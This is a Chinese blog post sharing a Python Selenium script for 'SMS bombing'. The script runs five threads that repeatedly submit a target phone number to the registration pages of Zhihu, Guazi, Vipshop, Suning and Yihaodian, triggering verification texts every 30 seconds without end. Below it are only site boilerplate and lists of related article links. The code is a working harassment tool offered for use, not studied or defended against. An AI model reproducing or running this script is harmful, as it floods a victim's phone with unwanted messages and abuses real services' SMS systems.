Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
详解Python中for循环的使用方法
May 14 Python
python编程培训 python培训靠谱吗
Jan 17 Python
Python自定义函数实现求两个数最大公约数、最小公倍数示例
May 21 Python
Python基于多线程操作数据库相关问题分析
Jul 11 Python
python在html中插入简单的代码并加上时间戳的方法
Oct 16 Python
Python把对应格式的csv文件转换成字典类型存储脚本的方法
Feb 12 Python
对Pytorch中nn.ModuleList 和 nn.Sequential详解
Aug 18 Python
树莓派3 搭建 django 服务器的实例
Aug 29 Python
keras 如何保存最佳的训练模型
May 25 Python
pytorch快速搭建神经网络_Sequential操作
Jun 17 Python
Python QT组件库qtwidgets的使用
Nov 02 Python
Python带你从浅入深探究Tuple(基础篇)
May 15 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
用PHP+MySql编写聊天室
2006/10/09 PHP
php中判断一个字符串包含另一个字符串的方法
2007/03/19 PHP
对比分析php中Cookie与Session的异同
2016/02/19 PHP
PHP使用stream_context_create()模拟POST/GET请求的方法
2016/04/02 PHP
php封装的smartyBC类完整实例
2016/10/19 PHP
php的4种常用运行方式详解
2016/12/22 PHP
php支付宝APP支付功能
2020/07/29 PHP
PHP抽象类与接口的区别实例详解
2019/05/09 PHP
php array_chunk()函数用法与注意事项
2019/07/12 PHP
Laravel框架Auth用户认证操作实例分析
2019/09/29 PHP
自适应图片大小的弹出窗口
2006/07/27 Javascript
用倒置滤镜把div倒置,再把table倒置。
2007/07/31 Javascript
js 表单验证方法(实用)
2009/04/28 Javascript
jQuery - css() 方法示例详解
2014/01/16 Javascript
js实现弹出窗口、页面变成灰色并不可操作的例子分享
2014/05/10 Javascript
让浏览器DOM元素最后加载的js方法
2014/07/29 Javascript
javascript实现网页子页面遍历回调的方法(涉及 window.frames、递归函数、函数上下文)
2015/07/27 Javascript
JS仿百度自动下拉框模糊匹配提示
2016/07/25 Javascript
详解Javascript中的原型OOP
2016/10/12 Javascript
Angularjs实现分页和分页算法的示例代码
2016/12/23 Javascript
使用原生的javascript来实现轮播图
2017/02/24 Javascript
js学习心得_一个简单的动画库封装tween.js
2017/07/14 Javascript
如何利用node转发请求详解
2020/09/17 Javascript
.netcore+vue 实现压缩文件下载功能
2020/09/24 Javascript
使用Python的Treq on Twisted来进行HTTP压力测试
2015/04/16 Python
Python编程实现蚁群算法详解
2017/11/13 Python
Python空间数据处理之GDAL读写遥感图像
2019/08/01 Python
python GUI库图形界面开发之PyQt5时间控件QTimer详细使用方法与实例
2020/02/26 Python
Python编程快速上手——选择性拷贝操作案例分析
2020/02/28 Python
详解pytorch tensor和ndarray转换相关总结
2020/09/03 Python
Gucci法国官方网站:意大利奢侈品牌
2018/07/25 全球购物
英国在线电子和小工具商店:TecoBuy
2018/10/06 全球购物
行政主管职责范本
2014/03/07 职场文书
优秀广告词大全
2014/03/19 职场文书
党的群众路线批评与自我批评发言稿
2014/10/16 职场文书
「月刊Comic Alive」2022年5月号封面公开
2022/03/21 日漫